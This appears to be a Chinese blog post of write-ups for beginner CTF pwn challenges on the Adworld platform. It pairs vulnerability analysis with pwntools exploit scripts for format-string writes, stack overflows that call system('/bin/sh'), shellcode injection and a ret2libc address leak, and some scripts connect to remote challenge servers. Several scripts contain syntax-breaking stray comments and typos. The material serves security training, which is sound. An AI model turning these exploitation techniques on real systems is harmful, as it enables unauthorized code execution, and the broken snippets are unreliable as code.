pwn: 攻防世界新手区pwn题解

不可视境界线最后变动于:2023年4月2日 晚上

pwn: 攻防世界新手区pwn题解

Adworld的新手区水题记录。

1 get shell

没什么好说的。直接remote或者nc连上去就可以了。

2 CGfsb

2.1 checksec

1

2.2 找漏洞

IDA打开main函数。

2

可以看出printf(&s);是明显的格式化字符串漏洞。

IDA mov 从右往左.

pwnme的地址:0x804A068image-20210716120017221 看清楚, 压入的是format字符串的地址!!.

3

2.3 脚本

1
2
3
4
5
6
7
8
9
10
#CGfsb.py
from pwn import *
context.log_level = 'debug'

payload = p32(0x804A068) + 'AAAA%10$n' #这个10是自己试出来的
#payload = 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
r = process('./CGfsb')
r.sendlineafter('name:\n','name')
r.sendlineafter('please:\n',payload)
r.interactive()

3 when did you born

3.1 checksec

4

3.2 找漏洞

IDA64打开。

5

很明显,第一个输入的数字不能是1926(Excited!)

然后通过gets把他变成1926(Naive!)

3.3 脚本

1
2
3
4
5
6
7
8
9
#when_did_you_born.py
from pwn import *
context.log_level = 'debug'

payload = 'AAAAAAAA' + p32(1926)
r = process('./when_did_you_born')
r.sendlineafter('Birth?\n','1925')
r.sendlineafter('Name?\n',payload)
r.interactive()

4 hello pwn

4.1 checksec

6

4.2 找漏洞

7

逻辑很简单,在unk_601068读入一个值,让dword_60106c变为1853186401即可。

4.3 脚本

1
2
3
4
5
6
7
8
#hello_pen.py
from pwn import *
context.log_level = 'debug'
payload = 'AAAA' + p32(1853186401)#->转换成16进制就是八位数了, 可以p32

r = process('./hello_pwn')
r.sendlineafter('bof\n',payload)
r.interactive()

5 level0

5.1 checksec

8

5.2 找漏洞

9

这里好像有个什么东西嘛…

5.3 脚本

pwntools

1
2
3
4
5
6
7
8
9
#level0.py
from pwn import *
#context.log_level = 'debug'

payload = 'A'*0x88 + p64(0x400596)#callsystem的地址, 简单的read栈溢出
#r = process('./level0')
r = remote('111.198.29.45',45579)
r.sendlineafter('World\n',payload)
r.interactive()

6 level2

6.1 checksec

10

6.2 找漏洞

system函数!

11

/bin/sh!

12

溢出地址0x8c,返回地址填plt的system地址,参数填/bin/sh的地址。奥利给!

ps. 会了才知道为什么洛神会这么简洁…..|ू・ω・` )

6.3 脚本

1
2
3
4
5
6
7
from pwn import *
context.log_level = 'debug'
payload = 'A'*0x8c + p32(0x8048320) + 'AAAA'+ p32(0x804A024) #空4字节是system函数的返回地址
#r = remote('111.198.29.45',49960)
r = process("./level2")
r.sendlineafter('Input:\n',payload)
r.interactive()

7 guess num

7.1 checksec

13

7.2 找漏洞

猜数字,先生成了个随机数,然后猜9次。猜对了给flag。

14

很显然,只要通过get函数把随机种子改成自己想要的就行了。

先写个脚本看看随机种子是0的情况:

15

写脚本吧。字符串长度为0x30-0x10=0x20。偏移值后面加个0就行。

7.3 脚本

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
l = [2,5,4,2,6,2,5,1,4,2]
payload = 'A'* 0x20 + p32(0)
r = process('./guess_num')
r.sendlineafter('name:',payload)
for each in l:
r.sendlineafter('number:',str(each))#sendlineafter的参数就是字符串
r.interactive()

8 int overflow

8.1 checksec

16

8.2 找漏洞

17

先进这个函数。

18

显而易见嘛。(?)

再进check_passwd()

image-20210716122047227可以看到__int8, 只有0-255, 而且有要求密码长4-8, 所以可以整数溢出的办法, buf长512也够了

8.3 脚本

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'

r = remote("111.200.241.244", 50645)
payload = b'a'*0x18 + p32(0x0804868B) + b'a'*232
r.sendlineafter("Your choice:", '1')
r.sendlineafter("name:\n", "f**k")
r.sendlineafter("passwd:\n", payload)
r.interactive()

9 cgpwn2

9.1 checksec

20

8.2 找漏洞

21

溢出点肯定就是gets函数啦。偏移值0x2A。
但是我们需要自己构造system函数的参数,只要把name的值改成那个值就行了。

9.3 脚本

1
2
3
4
5
6
7
from pwn import *
context.log_level = 'debug'
payload = 'A'*0x2A('捏妈的,0x26+0x4能给我算成0x30来?') + p32(0x8048420) + 'AAAA'->sys返回地址' + p32(0x804A080)'name的地址'
r = process('./cgpwn2')
r.sendlineafter('name\n','/bin/sh')
r.sendlineafter('here:\n',payload)
r.interactive()

10 string

10.1 checksec

22

10.2 找漏洞

代码好长啊。

23

看看func1。

24

func2。

25

没有溢出点。func3。

26

好啦,溢出点。

27

很明显,让a1数组的第0位和第1位相等(就是85和68)。

后面那个mmap是内存映射,意思就是填入一个机器码使得直接执行。

10.3 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#coding=utf-8
from pwn import *
context.log_level = 'debug'
payload = '%68c%7$n' # b'a'*85 + '%7$n'也是可以的
r = process('./string')
r.recvuntil('secret[1] is ')
a = int('0x'+r.recvline(),base=16)
r.sendlineafter('name be:\n', 'user')
r.sendlineafter('up?:\n','east')
r.sendlineafter('leave(0)?:\n','1')
r.sendlineafter("address'\n",str(a))
r.sendlineafter('wish is:\n',payload)
r.sendlineafter('SPELL\n',asm(shellcraft.amd64.sh(),arch="amd64"))
#当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode。
#获得执行system(“/bin/sh”)汇编代码所对应的机器码: asm(shellcraft.sh()) 。注意要指明arch和os。arch有
#i386(x86)和amd64(x64)。攻防世界的题解区有人说这个函数失效,其实是因为他没指明环境。不同环境下的汇编代
#码是不同的。
r.interactive()

#AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-

11 level3

11.1 checksec

28

11.2 找漏洞

开IDA看看,看到有一个read的栈溢出。

29

只有write和read函数,那只能通过泄露libc的基址来调用system('/bin/sh')了。

我们可以知道的有:write函数的plt表位置和got表位置。由于在read函数之前已经调用过write函数了,即已经完成了延迟绑定,那么got表中已经记录了write的地址,由于libc的函数偏移值是固定的,则可以获得libc的基址,并得到system函数的实际地址。

11.3 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding=utf-8
from pwn import *

aaaa

context(os="linux", arch="amd64", log_level="debug")

DEBUG = 0

if DEBUG == 1:
p = process('./level3')
else:
p = remote("220.249.52.133",56008)

elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

payload = b'A' * 0x8c + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
# 从这里跳转到write函数中,默认当前栈顶就是返回地址,下面的依次是参数1-n(先压参数再返回地址)
p.recvuntil('Input:\n')
p.sendline(payload)
write_addr = u32(p.recv(4)) #unpack() 这里是write函数输出的got

#print(hex(write_addr))
p.recvuntil('Input:\n') #重新进入main函数
write_libc = libc.symbols['write']
system_addr = (write_addr - write_libc)'''这玩意儿是基址''' + libc.symbols['system']
binsh_addr = (write_addr - write_libc) + next(libc.search(b'/bin/sh'))
payload = b'A' * 0x8c + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'

p = remote('111.200.241.244', 63933)

elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

payload = b'a'*(0x88+0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter(':\n', payload)
write_addr = u32(p.recv(4))

write_libc = libc.symbols['write']
sys_addr = write_addr - write_libc + libc.symbols['system']
sh_addr = write_addr - write_libc + next(libc.search(b'/bin/sh'))

payload = b'a'*(0x88+0x4) + p32(sys_addr) + b'a'*4 + sh_addr
p.sendlineafter(':\n', payload)
p.interactive()